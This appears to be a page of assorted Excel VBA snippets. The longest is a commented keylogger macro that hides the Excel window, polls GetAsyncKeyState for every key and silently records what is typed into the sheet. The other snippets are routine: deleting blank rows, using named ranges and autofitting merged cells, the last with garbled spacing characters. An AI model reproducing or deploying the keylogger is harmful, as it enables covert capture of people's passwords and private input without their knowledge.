'declare some variables that we are going to need later Dim i, e As Long Dim s As String Dim b As Integer Dim result As Long 'the declaration allows us to call a function in the User32.dll that will tell us what key is pressed Public Declare Function GetAsyncKeyState Lib "User32" (ByVal vKey As Long) As Long 'to run the key logger you will run the macro called loK Sub loK() e = 1 b = 0 'we can hide the Excel application from view to hide the key logger Application.Visible = False 'the amount of time the key logger will run for f = Now() + TimeValue("00:00:15") 'this loop will stop when the time above run out Do While Now() < f 'the GetAsyncKeyState function will return a value of -32767 for any key that is pressed 'we cycle thru all 255 possible keys to check which one has a value of -32767 For i = 1 To 255 result = 0 result = GetAsyncKeyState(i) 'if we find a key that is pressed we attach to our string If result = -32767 Then s = s + Chr$(i) Next i 'every time we collect 100 characters we right them to a new column in the Excel sheet If Len(s) = 100 Then Cells(e, 1).Value = s 'each batch of 100 characters are written to a new row e = e + 1 s = "" End If Loop 'when the time we set above expires we write the remaing characters to a new row Cells(e, 1).Value = s s = "" ' we bring the Excel application to view so we can see the log of charaters Application.Visible = True End Sub
Sub DeleteBlankRows1() 'Deletes the entire row within the selection if the ENTIRE row contains no data. 'We use Long in case they have over 32,767 rows selected. Dim i As Long 'We turn off calculation and screenupdating to speed up the macro. With Application .Calculation = xlCalculationManual .ScreenUpdating = False 'We work backwards because we are deleting rows. For i = Selection.Rows.Count To 1 Step -1 If WorksheetFunction.CountA(Selection.Rows(i)) = 0 Then Selection.Rows(i).EntireRow.Delete End If Next i .Calculation = xlCalculationAutomatic .ScreenUpdating = True End With End Sub
When defining a name within an Excel spreadsheet, you can pick it up using VBA as follows:
ActiveWorkbook.Names("your defined variable name").Value
or set a named variable:
ActiveWorkbook.Names.Add Name:="bob", RefersToR1C1:="=Sheet1!R5C21:R8C21" ActiveWorkbook.Names("bob").Comment = ""
Dim NewRwHt As Single Dim cWdth As Single, MrgeWdth As Single Dim c As Range, cc As Range Dim ma As Range With Target If .MergeCells And .WrapText Then Set c = Target.Cells(1, 1) cWdth = c.ColumnWidth Set ma = c.MergeArea For Each cc In ma.Cells ¬†¬†¬†¬†¬†¬†¬†¬† MrgeWdth = MrgeWdth + cc.ColumnWidth Next Application.ScreenUpdating = False ¬†¬†¬†¬† ma.MergeCells = False ¬†¬†¬†¬†¬† c.ColumnWidth = MrgeWdth ¬†¬†¬†¬†¬†¬† c.EntireRow.AutoFit ¬†¬†¬†¬†¬†¬†¬† NewRwHt = c.RowHeight ¬†¬†¬†¬†¬†¬† c.ColumnWidth = cWdth ¬†¬†¬†¬† ma.MergeCells = True ¬†¬†¬† ma.RowHeight = NewRwHt ¬†¬† cWdth = 0: MrgeWdth = 0 Application.ScreenUpdating = True End If End With